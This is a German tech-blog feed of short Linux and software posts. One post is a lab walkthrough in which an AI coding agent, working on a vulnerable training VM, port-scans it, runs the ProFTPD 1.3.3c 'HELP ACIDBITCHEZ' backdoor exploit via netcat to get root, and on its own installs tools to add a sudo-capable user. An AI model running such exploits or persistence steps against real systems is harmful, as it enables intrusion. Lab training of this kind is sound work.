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Mozilla veröffentlicht Firefox 147.0.3

05. Februar 2026 um 17:19

Mozilla hat Firefox 147.0.3 veröffentlicht und behebt damit mehrere Probleme der Vorgängerversion.

Download Mozilla Firefox 147.0.3

Mozilla hat Firefox 147.0.3 für Windows, macOS und Linux veröffentlicht und liefert damit zahlreiche Verbesserungen für eine gesteigerte Webkompatibilität aus. Dies betrifft vor allem das sogenannte Anchor Posititioning in CSS, aber auch die Sticky-Positionierung in CSS, CSS Flexbox, die Navigation-API, URLPattern-API sowie die Wiedergabe von HEVC-Videos.

Ein Problem wurde behoben, bei dem die Entwicklerwerkzeuge möglicherweise nicht mehr geöffnet werden konnten, nachdem ein Element im Inspektor ausgewählt und eine Seite mit Cross-Origin-iFrames neu geladen wurde.

Es wurde ein Problem behoben, bei dem der Abschnitt mit den Einstellungen für den DNS-over-HTTPS-Anbieter als leeres Feld angezeigt wurde, sodass Benutzer die aktuellen Einstellungen nicht sehen oder ändern konnten.

Ein Problem auf Windows-Systemen mit einer großen Anzahl installierter Schriftarten wurde behoben, bei dem Teile der Firefox-Benutzeroberfläche fehlerhafte Zeichen anstelle von lesbarem Text anzeigen konnten.

Ein Problem unter Linux wurde behoben, bei dem UI-Widgets unter Umständen an der falschen Position angezeigt werden konnten.

Wurde Firefox unter Windows mit einem dunklen Design genutzt, konnte es beim Start zu einem hellen Flackern der Titelleiste kommen.

Auf macOS konnte eine Erweiterung oder das Verändern einer bestimmten versteckten Option dafür sorgen, dass Firefox nicht mehr benutzbar war.

Mehrere potenzielle Absturzursachen wurden behoben.

Ein Problem wurde behoben, welches zu einer fehlgeschlagenen Kerberos-Authentifizierung führen konnte.

Es wurde zusätzliches Logging und Telemetrie zum Verstehen von Standortfehlern eingeführt, was in Zusammenhang damit steht, die Zuverlässigkeit der Geolocation-API durch Verwendung der aktuellen System-Schnittstellen zu verbessern.

Zur Unterstützung von Experimenten wurde die Möglichkeit geschaffen, innerhalb der ersten 48 Stunden der Firefox-Nutzung andere Standard-Verknüpfungen auf der Firefox-Startseite anzuzeigen, als danach.

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Kurztipp: fish mit VS Code und Remote Shell

05. Februar 2026 um 10:48

In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen.

VS Code und Remote Shell

Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort befindlichen Dateien bearbeiten. Das funktioniert wunderbar, wenn der dort die bash oder zsh läuft. Mit der fish gelingt zwar der initiale Verbindungsaufbau, wenig später kommt es aber Timeout. Das Problem ist — eh‘ erst seit fast sechs Jahren — in einem GitHub-Issue dokumentiert. Hoffnung auf Behebung gibt es wohl nicht.

Aber immerhin enthält das Issue einige Lösungsvorschläge. Am praktikabelsten ist es aus meiner Sicht, in der Konfigurationsdatei settings.json von VS Code (unter Linux .config/Code/User/settings.json) die betroffenen Hostnamen einzutragen und ihnen die Plattform Linux zuzuordnen. Absurd, dass VS Code offensichtlich nicht in der Lage ist, diesen Umstand selbst zu erkennen.

{
  ...
  "remote.SSH.remotePlatform": {
    "kofler.info": "linux",
    "myotherhost.com": "linux"
    ...
  }
}

Python Environments

Wenn Sie ein Python Environment einrichten, funktioniert dessen übliche Aktivierung mit source .venv/bin/activate nicht. Es gibt (übrigens schon seit 2012!) ein entsprechendes fish-Script — Sie müssen nur daran denken, es auch zu verwenden.

mkdir my-project
cd my-project
python3 -m venv .venv
source .venv/bin/activate       # bash, zsh
source .venv/bin/activate.fish  # fish  !!!

Quellen, Links

Ubuntu 24.04 LTS erhält frische Kernel und Grafikstacks

Von: MK
05. Februar 2026 um 08:00

Ubuntu 24.04 LTS bekommt derzeit ein großes Technikupdate. Canonical verteilt neue Kernelversionen und moderne Grafikstacks im Rahmen des nächsten Hardware Enablement (HWE) – Stacks an alle Nutzer. Die Aktualisierung stammt aus Ubuntu 25.10 und bringt spürbar bessere Hardwareunterstützung. Mit dem kommenden Pointrelease 24.04.4 LTS wird das neue Paketset offiziell ausgeliefert. Viele Systeme erhalten die Neuerungen […]

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COSMIC 1.0.5 bringt weiteren Feinschliff für den Desktop

Von: MK
05. Februar 2026 um 07:00

System76 liefert mit COSMIC 1.0.5 ein kompaktes Update, das viele kleine Verbesserungen bündelt. Die neue Version konzentriert sich klar auf Stabilität und spürbare Optimierungen im Alltag. Nutzer dürfen sich über zahlreiche Detailpflege freuen, die den Desktop runder wirken lässt. Die Applets zeigen nun auf Wunsch den Akkustand in Prozent an. COSMIC Files wirkt ebenfalls ausgereifter […]

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LibreOffice 26.2 wurde veröffentlicht. Das ist neu

Von: MK
04. Februar 2026 um 16:00

LibreOffice 26.2 steht ab sofort für alle großen Plattformen bereit. Die neue Version konzentriert sich auf mehr Tempo, bessere Kompatibilität und eine angenehmere Bedienung. Viele Abläufe fühlen sich direkter an und reagieren schneller auf Eingaben. Writer zeigt sich deutlich stabiler im Umgang mit komplexen Dokumenten. Schwebende Tabellen folgen nun verlässlicher den Seitenregeln. Die Nachverfolgung von […]

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Bundestag prüft tiefgreifenden Umbau seiner digitalen Infrastruktur

Von: MK
04. Februar 2026 um 07:00

Im Bundestag wächst der Wunsch nach mehr digitaler Eigenständigkeit. Eine neue Kommission untersucht derzeit, wie sich das Parlament unabhängiger von ausländischen Technologiekonzernen machen kann, wie der Blog Dr. Windows berichtet. Ziel ist ein stabiles digitales Umfeld, das sensible Abläufe schützt und zugleich den täglichen Betrieb sicherstellt. Die Arbeitsgruppe prüft das gesamte technische Fundament des Parlaments. […]

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Hacking / Penetration Testing mit KI-Tools automatisieren

03. Februar 2026 um 09:37

Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.

Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.

Desktop-Screenshot mit zwei laufenden virtuellen Maschinen und einer Terminal-Session links. Im Vordergrund zeigt ein geöffnetes VM-Fenster Kali Linux mit großem KALI-Logo, darüber ein weiteres virtuelles Fenster mit Konsole. Links ist ein Terminal mit Protokollausgaben zu SSH-, sudo- und Benutzeranlegen (newroot) sowie Verweisen auf eine lokale Claude-Code-Installation. Oben mittig ist die Virtuelle Maschinenverwaltung mit Liste der VMs sichtbar.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation

Setup

Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.

Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.

Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.

Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.

In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:

# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL

Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.

# Datei .ssh/config auf dem lokalen Rechner
Host kali
  User aiadmin

Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:

fedora$ ssh-copy-id aiadmin@kali

Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).

kali$ sudo passwd -l aiadmin

Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.

Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.

Setup testen

Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.

> There is a Kali Linux installation with hostname kali. 
  Try to connect via SSH. (OK ...)

> Kali can connect to host vtcsec. This is a VM designated 
  for penetration testing. ping to it! (OK ...)
Der Screenshot zeigt ein Terminalfenster mit Claude Code, in dem erste Tests für ein Setup ausgeführt werden. Oben ist die Startseite von „Claude Code v2.1.29“ mit „Welcome back Michael!“ sowie Tipps und „No recent activity“ zu sehen. Darunter werden per Bash SSH-Verbindungen zu „kali“ geprüft und eine erfolgreiche Verbindung ohne Passwort bestätigt. Anschließend zeigt ein Ping auf „vtcsec“ erfolgreiche IPv6-Antworten und 0% Paketverlust.
Erste Prompts um das Setup zu testen

AI Assisted Hacking

Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.

> Now do a proper port scan for vtcsec. Find out what 
  software is running.


  (...) Here's what's running on vtcsec:

  Port  Service  Version
  21    FTP      ProFTPD 1.3.3c
  22    SSH      OpenSSH 7.2p2 (Ubuntu)
  80    HTTP     Apache 2.4.18 (Ubuntu)

  OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.

  Notable observations:

  - ProFTPD 1.3.3c is a notably old version with 
    known vulnerabilities (including a backdoor in 
    certain distributions).
  - OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
  - Only 3 ports open, 997 closed — a fairly minimal attack surface.
Das Bild zeigt einen Terminal-/Chat-Screenshot, in dem ein Port-Scan mit Nmap ausgewertet wird. Oben ist der Bash-Aufruf „sudo nmap -sV -sC -O“ sowie ein Scan-Report für einen Host (192.168.178.48) zu sehen. Darunter listet eine Tabelle offene Ports 21/22/80 mit ProFTPD 1.3.3c, OpenSSH 7.2p2 und Apache 2.4.18. Hinweise nennen veraltete Versionen, Linux/Ubuntu auf QEMU und nur drei offene Ports.
Port-Scan durchführen
> Find exploits for ProFTPD.

  (...) Here are the exploits found for ProFTPD 1.3.3:

  Exploit
  ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
  ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
  ProFTPd 1.3.3c - Compromised Source Backdoor
  ProFTPd IAC 1.3.x - Remote Command Execution
  ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)

  The most relevant one is the backdoor in ProFTPD 1.3.3c - 
  this is the infamous incident where the ProFTPD source code
  was compromised, and a backdoor was inserted. It allows remote 
  command execution by sending HELP ACIDBITCHEZ to the FTP service. 
  There's both a manual exploit and a Metasploit module available.

  Want me to try the backdoor exploit against vtcsec?

Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.

> Yes, try it!

  Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
  Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor 
                            Remote Code Execution
  URL:  https://www.exploit-db.com/exploits/15662
  Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt

  Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
               \nuname -a\nexit\n" | nc -w 5 vtcsec 21')

  The simple netcat approach didn't return command output. 
  Let me try with a proper interactive approach using Metasploit 
  or a Python script.

  Bash(ssh kali 'python3 -c " ..." ')
  Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
  Response: uid=0(root) gid=0(root) groups=0(root)...
  Response: vtcsec
  Response: Linux vtcsec 4.10.0-28-generic

  The backdoor exploit worked. Here's what we got:

  - Access level: uid=0(root) — full root access
  - Hostname: vtcsec
  - Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)

  The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
  remote root shell with zero effort — no credentials, no authentication, 
  just a single FTP command.  Want me to explore the system further or move 
  on to testing the other services?
Der Screenshot zeigt eine Terminal-/Chat-Ausgabe zur Ausnutzung der ProFTPD‑Backdoor in Version 1.3.3c. Beschrieben wird der Trigger über den FTP-Befehl „HELP ACIDBITCHEZ“ und die Suche nach dem passenden Exploit (Exploit‑DB/15662). Anschließend werden Bash-/Netcat- sowie ein Python‑Ansatz ausgeführt. Die Ausgabe bestätigt schließlich Root-Zugriff (uid=0) auf den Host „vtcsec“ samt Kernel/Ubuntu-Version.
ProFTPD-Backdoor ausnutzen

Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!

Screenshot eines Terminal-Protokolls zum Anlegen eines neuen Nutzers und Testen von SSH-Zugriff. Das Bild zeigt Befehle zum Erstellen des Benutzers "newroot" mit Passwort "topSecret", UID/GID 1001 und Shell /bin/bash sowie einen fehlgeschlagenen SSH-Versuch (Error: Exit code 127) wegen fehlendem sshpass. Dazwischen wird sshpass per apt installiert, SSH-Verbindung bestätigt und am Ende sudo-Rechte für den Benutzer ergänzt.
Neuen Benutzer mit sudo-Rechten einrichten

Anmerkungen

Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.

Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.

Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).

Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …

Quellen, Links

MCP-Server (optional für KI-Tools, die keinen direkten Kommandoaufruf ermöglichen)

openSUSE diskutiert neuen Entscheidungsprozess

Von: MK
03. Februar 2026 um 07:00

Im openSUSE Projekt beginnt eine neue Debatte über die künftige Organisation der Gemeinschaft. Jeff Mahoney, VP of Engineering for Linux Systems bei SUSE, hat einen Entwurf vorgestellt, der helfen soll, Entscheidungen in dem stetig wachsenden Umfeld besser zu strukturieren und nachvollziehbarer zu machen. Der Vorschlag versteht sich als Grundlage für Gespräche und ändert keine bestehenden […]

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Ein Fahrplan für die Zeit nach Linus Torvalds

Von: MK
02. Februar 2026 um 07:00

Das Linux Projekt erhält erstmals einen klar geregelten Plan für den Fall, dass Linus Torvalds oder zentrale Maintainer ihre Aufgaben nicht mehr ausführen können. Das “Linux Kernel Project Continuity” Dokument beschreibt nun, wie die Weiterführung des Kernel Repositories organisiert wird und wer im Ernstfall Verantwortung übernimmt. Sollte die Arbeit am torvalds/linux.git Hauptrepository ins Stocken geraten, […]

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Tube Archivist HTTP Error 403: Forbidden

01. Februar 2026 um 19:28

Hier haben wir wieder ein „Henne und Ei“-Problem.Zwar sind die Cookies richtig kopiert worden und auch die Dateien sind zugänglich, sie lassen sich ja via Browser aufrufen, aber leider ist ytdlp veraltet. Bis ein neues Image für Tube Archivist erscheint, muss man sich mit der Variable TA_AUTO_UPDATE_YTDLP helfen. Mit dieser Variable in der Compose-Datei und ... Weiterlesen

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Linux Coffee Talk 1/2026

Von: MK
31. Januar 2026 um 09:00

Euer monatliches Lieblingsformat bei fosstopia ist wieder da! Gemeinsam werfen wir einen Blick auf die spannendsten Ereignisse und Entwicklungen der letzten Wochen und ordnen sie für Euch ein. Also: schnappt Euch einen Kaffee, Tee, heißen Kakao oder Euer Lieblingsgetränk, macht es Euch gemütlich und lasst uns den Januar 2026 Revue passieren. In dieser Ausgabe erwarten Euch die wichtigsten […]

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Firefox 148 bekommt „Kill Switch” für KI-Funktionen

30. Januar 2026 um 20:22

Bereits das kommende Feature-Update von Firefox wird eine eigene Einstellungs-Seite für KI-Funktionen erhalten. Über diese lassen sich zentral an einem Ort alle KI-Features einzeln oder auch generell – und damit einschließlich zukünftiger Funktionen – abschalten.

Künstliche Intelligenz (KI) ist ein Thema, welches mittlerweile omnipräsent ist. Die einen lieben es, andere möchten am liebsten gar nichts damit zu tun haben. Auch Firefox bietet bereits ein paar Funktionen mit KI-Unterstützung an, weitere werden in der Zukunft folgen. Dabei waren sämtliche KI-Funktionen in Firefox vom ersten Tag an optional. Außerdem setzt Mozilla für eine verbesserte Privatsphäre bevorzugt auf lokale KI anstelle von Cloud-basierten KI-Lösungen.

Um die Verwaltung von KI-Funktionen noch einfacher für die Nutzer von Firefox zu machen, erweitert Mozilla mit Firefox 148 die Einstellungen um einen zusätzlichen Bereich mit der Bezeichnung „KI-Einstellungen”. Dieser neue Bereich bietet einen Ort, um alle KI-Funktionen zentral zu steuern. Dabei kann der Nutzer zwischen drei Optionen wählen: „Aktiviert” bedeutet, das jeweilige Feature ist aktiv. „Verfügbar” bedeutet, dass das Feature noch nicht aktiv ist, dem Nutzer aber angeboten wird und von diesem aktiviert werden kann. Bei „Blockiert” wird die Funktion dem Nutzer gar nicht erst angeboten und entsprechende Optionen ausgeblendet. Wurden bereits lokale KI-Modelle heruntergeladen, werden diese bei Auswahl vom Gerät gelöscht.

Firefox 148 bietet Einstellungen für fünf KI-basierte Funktionen an: Übersetzungen von Websites in andere Sprachen, die Generierung von Alternativtexten beim Hinzufügen von Bildern in PDF-Dateien, um deren Barrierefreiheit zu verbessern, Vorschläge für andere Tabs sowie Beschriftungen für Tab-Gruppen, KI-Zusammenfassungen für die Link-Vorschau sowie diverse Chatbots in der Sidebar.

Drei dieser fünf KI-Funktionen stehen derzeit nur für Nutzer zur Verfügung, welche Firefox in englischer Sprache nutzen. Entsprechend sehen Nutzer anderer Sprachen weniger Optionen in Firefox 148, sodass keine irrelevanten Funktionen dargestellt werden. Zu jeder KI-Funktion gibt es einen kurzen Erklärungstext sowie einen Link mit detaillierten Informationen.

Darüber hinaus bietet Firefox 148 auch noch einen globalen Schalter zum Ein- und Ausschalten von KI-Funktionen an. Medien hatten in diesem Zusammenhang in den letzten Wochen häufig von einem sogenannten „Kill Switch” gesprochen, weswegen diese Wortwahl hier aufgegriffen werden soll.

Hierüber können alle KI-Funktionen mit einem Mal deaktiviert werden – und damit auch sämtliche KI-Funktionen, die es noch gar nicht gibt und erst irgendwann in der Zukunft dazu kommen werden. Wird die globale Einstellung genutzt, wird darüber hinaus auch die Erweiterungs-Schnittstelle für KI-Funktionen abgeschaltet.

AI Kill Switch in Firefox 148

Firefox 148 wird nach aktueller Planung am 24. Februar 2026 erscheinen. Nutzer einer Beta-Version von Firefox 148 können bereits jetzt die Option browser.preferences.aiControls in about:config per Doppelklick auf true schalten, um die neuen KI-Einstellungen zu aktivieren.

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NVIDIA bringt GeForce NOW erstmals als native Linux App

Von: MK
30. Januar 2026 um 08:00

NVIDIA öffnet sein Cloud Gaming Angebot nun auch für Linux Systeme. Die neue native App steht ab sofort als Beta bereit und markiert einen deutlichen Schritt weg von der bisherigen Steam Deck Ausrichtung. Die GeForce NOW App richtet sich klar an Desktop Nutzer und soll das Erlebnis der Windows und macOS Versionen erreichen. Die Installation […]

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VirtualBox 7.2.6 bringt wichtige Verbesserungen der Stabilität

Von: MK
30. Januar 2026 um 07:00

VirtualBox legt mit Version 7.2.6 ein Update vor, das viele Schwachstellen beseitigt und den Alltag mit virtuellen Maschinen spürbar ruhiger macht. Die Entwickler konzentrieren sich klar auf Zuverlässigkeit und räumen zahlreiche Fehler aus, die Hosts und Gäste gleichermaßen betreffen. Der Virtual Machine Manager arbeitet nun stabiler und reagiert besser auf ungewöhnliche Startsituationen. Frühere Abstürze beim […]

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Enterprise Policy Generator 7.3 für Firefox veröffentlicht

29. Januar 2026 um 19:00

Der Enterprise Policy Generator richtet sich an Administratoren von Unternehmen und Organisationen, welche Firefox konfigurieren wollen. Mit dem Enterprise Policy Generator 7.3 ist nun ein Update erschienen.

Enterprise Policy Generator

Download Enterprise Policy Generator für Firefox

Die Enterprise Policy Engine erlaubt es Administratoren, Firefox über eine Konfigurationsdatei zu konfigurieren. Der Vorteil dieser Konfigurationsdatei gegenüber Group Policy Objects (GPO) ist, dass diese Methode nicht nur auf Windows, sondern plattformübergreifend auf Windows, Apple macOS sowie Linux funktioniert.

Der Enterprise Policy Generator hilft bei der Zusammenstellung der sogenannten Enterprise Policies, sodass kein tiefergehendes Studium der Dokumentation und aller möglichen Optionen notwendig ist und sich Administratoren die gewünschten Enterprise Policies einfach zusammenklicken können.

Neuerungen vom Enterprise Policy Generator 7.3

Der Enterprise Policy Generator 7.3 bringt Unterstützung für die DisableRemoteImprovements-Richtlinie in Firefox 148 und höher, um Firefox daran zu hindern, Funktionen, Leistung und Stabilität zwischen den Updates zu verbessern. Dazu kommt die Unterstützung für die HarmfulAddon-Option in der EnableTrackingProtection-Richtlinie zur Blockierung schädlicher Add-ons in Firefox 147 und höher. Darüber hinaus gab es diverse kleinere Verbesserungen für bereits länger bestehende Richtlinien.

Abseits von Unternehmensrichtlinien wurde die Jahreszahl im Footer von 2025 auf 2026 geändert und eine nicht mehr notwendige Eigenschaft aus dem Erweiterungs-Manifest entfernt.

Der Enterprise Policy Generator 7.3 ist die letzte Version mit Unterstützung von Firefox ESR 128. Der Enterprise Policy Generator 8.0 wird Firefox 140 oder höher voraussetzen.

Entwicklung unterstützen

Wer die Entwicklung des Add-ons unterstützen möchte, kann dies tun, indem er der Welt vom Enterprise Policy Generator erzählt und die Erweiterung auf addons.mozilla.org bewertet. Auch würde ich mich sehr über eine kleine Spende freuen, welche es mir ermöglicht, weitere Zeit in die Entwicklung des Add-on zu investieren, um zusätzliche Features zu implementieren.

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LM Studio

28. Januar 2026 um 09:49

Wer sich dafür interessiert, Sprachmodelle lokal auszuführen, landen unweigerlich bei Ollama. Dieses Open-Source-Projekt macht es zum Kinderspiel, lokale Sprachmodelle herunterzuladen und auszuführen. Die macOS- und Windows-Version haben sogar eine Oberfläche, unter Linux müssen Sie sich mit dem Terminal-Betrieb oder der API begnügen.

Zuletzt machte Ollama allerdings mehr Ärger als Freude. Auf gleich zwei Rechnern mit AMD-CPU/GPU wollte Ollama pardout die GPU nicht nutzen. Auch die neue Umgebungsvariable OLLAMA_VULKAN=1 funktionierte nicht wie versprochen, sondern reduzierte die Geschwindigkeit noch weiter.

Kurz und gut, ich hatte die Nase voll, suchte nach Alternativen und landete bei LM Studio. Ich bin begeistert. Kurz zusammengefasst: LM Studio unterstützt meine Hardware perfekt und auf Anhieb (auch unter Linux), bietet eine Benutzeroberfläche mit schier unendlich viel Einstellmöglichkeiten (wieder: auch unter Linux) und viel mehr Funktionen als Ollama. Was gibt es auszusetzen? Das Programm richtet sich nur bedingt an LLM-Einsteiger, und sein Code untersteht keiner Open-Source-Lizenz. Das Programm darf zwar kostenlos genutzt werden (seit Mitte 2025 auch in Firmen), aber das kann sich in Zukunft ändern.

Der Screenshot zeigt die Anwendung „LM Studio“ mit einem offenen Chat zum Thema „Detecting Magic Squares“. Links ist eine Chat- und Ordnerliste sichtbar, darunter „Python Learning“ und der ausgewählte Eintrag. In der Mitte steht die Unterhaltung mit einer Erklärung zu „nested lists“ und einem Python-Codeblock mit einem 3×3-Grid. Rechts sind Kontext/Model/Program-Einstellungen sowie ein System-Prompt-Editor zu sehen.

Installation unter Linux

Kostenlose Downloads für LM Studio finden Sie unter https://lmstudio.ai. Die Linux-Version wird als sogenanntes AppImage angeboten. Das ist ein spezielles Paketformat, das grundsätzlich eine direkte Ausführung der heruntergeladenen Datei ohne explizite Installation erlaubt. Das funktioniert leider nur im Zusammenspiel mit wenigen Linux-Distributionen auf Anhieb. Bei den meisten Distributionen müssen Sie die Datei nach dem Download explizit als »ausführbar« kennzeichnen. Je nach Distribution müssen Sie außerdem die FUSE-Bibliotheken installieren. (FUSE steht für Filesystem in Userspace und erlaubt die Nutzung von Dateisystem-Images ohne root-Rechte oder sudo.)

Unter Fedora funktioniert es wie folgt:

sudo dnf install fuse-libs         # FUSE-Bibliothek installieren
chmod +x Downloads/*.AppImage      # execute-Bit setzen
Downloads/LM-Studio-<n.n>.AppImage # LM Studio ausführen

Nach dnf install fuse-libs und chmod +x können Sie LM Studio per Doppelklick im Dateimanager starten.

Erste Schritte

Nach dem ersten Start fordert LM Studio Sie auf, ein KI-Modell herunterzuladen. Es macht gleich einen geeigneten Vorschlag. In der Folge laden Sie dieses Modell und können dann in einem Chat-Bereich Prompts eingeben. Die Eingabe und die Darstellung der Ergebnisse sieht ganz ähnlich wie bei populären Weboberflächen aus (also ChatGPT, Claude etc.).

Nachdem Sie sich vergewissert haben, dass LM Studio prinzipiell funktioniert, ist es an der Zeit, die Oberfläche genauer zu erkunden. Grundsätzlich können Sie zwischen drei Erscheinungsformen wählen, die sich an unterschiedliche Benutzergruppen wenden: User, Power User und Developer.

In den letzteren beiden Modi präsentiert sich die Benutzeroberfläche in all ihren Optionen. Es gibt
vier prinzipielle Ansichten, die durch vier Icons in der linken Seitenleiste geöffnet werden:

  • Chats
  • Developer (Logging-Ausgaben, Server-Betrieb)
  • My Models (Verwaltung der heruntergeladenen Sprachmodelle)
  • Discover (Suche und Download weiterer Modelle).

GPU Offload und Kontextlänge einstelln

Sofern Sie mehrere Sprachmodelle heruntergeladen haben, wählen Sie das gewünschte Modell über ein Listenfeld oberhalb des Chatbereichs aus. Bevor der Ladevorgang beginnt, können Sie diverse Optionen einstellen (aktivieren Sie bei Bedarf Show advanced settings). Besonders wichtig sind die Parameter Context Length und GPU Offload.

Die Kontextlänge limitiert die Größe des Kontextspeichers. Bei vielen Modellen gilt hier ein viel zu niedriger Defaultwert von 4000 Token. Das spart Speicherplatz und erhöht die Geschwindigkeit des Modells. Für anspruchsvolle Coding-Aufgaben brauchen Sie aber einen viel größeren Kontext!

Der GPU Offload bestimmt, wie viele Ebenen (Layer) des Modells von der GPU verarbeitet werden sollen. Für die restlichen Ebenen ist die CPU zuständig, die diese Aufgabe aber wesentlich langsamer erledigt. Sofern die GPU über genug Speicher verfügt (VRAM oder Shared Memory), sollten Sie diesen Regler immer ganz nach rechts schieben! LM Studio ist nicht immer in der Lage, die Größe des Shared Memory korrekt abzuschätzen und wählt deswegen mitunter einen zu kleinen GPU Offload.

Der Screenshot zeigt die Grundeinstellungen beim Laden des Sprachmodells „OpenAI’s gpt-oss 120B“. Oben wird der geschätzte Speicherbedarf angezeigt, mit GPU- und Gesamtbedarf von 67,49 GB. Im Bereich „Model file“ sind die Formate MXFP4 und GGUF markiert. Darunter lassen sich Context Length (bis 131072 Tokens, aktuell 69143) und GPU Offload (36/36) per Schieberegler einstellen. Unten sind Optionen zum Merken der Einstellungen sowie der Button „Load Model“.
Grundeinstellungen beim Laden eines Sprachmodells
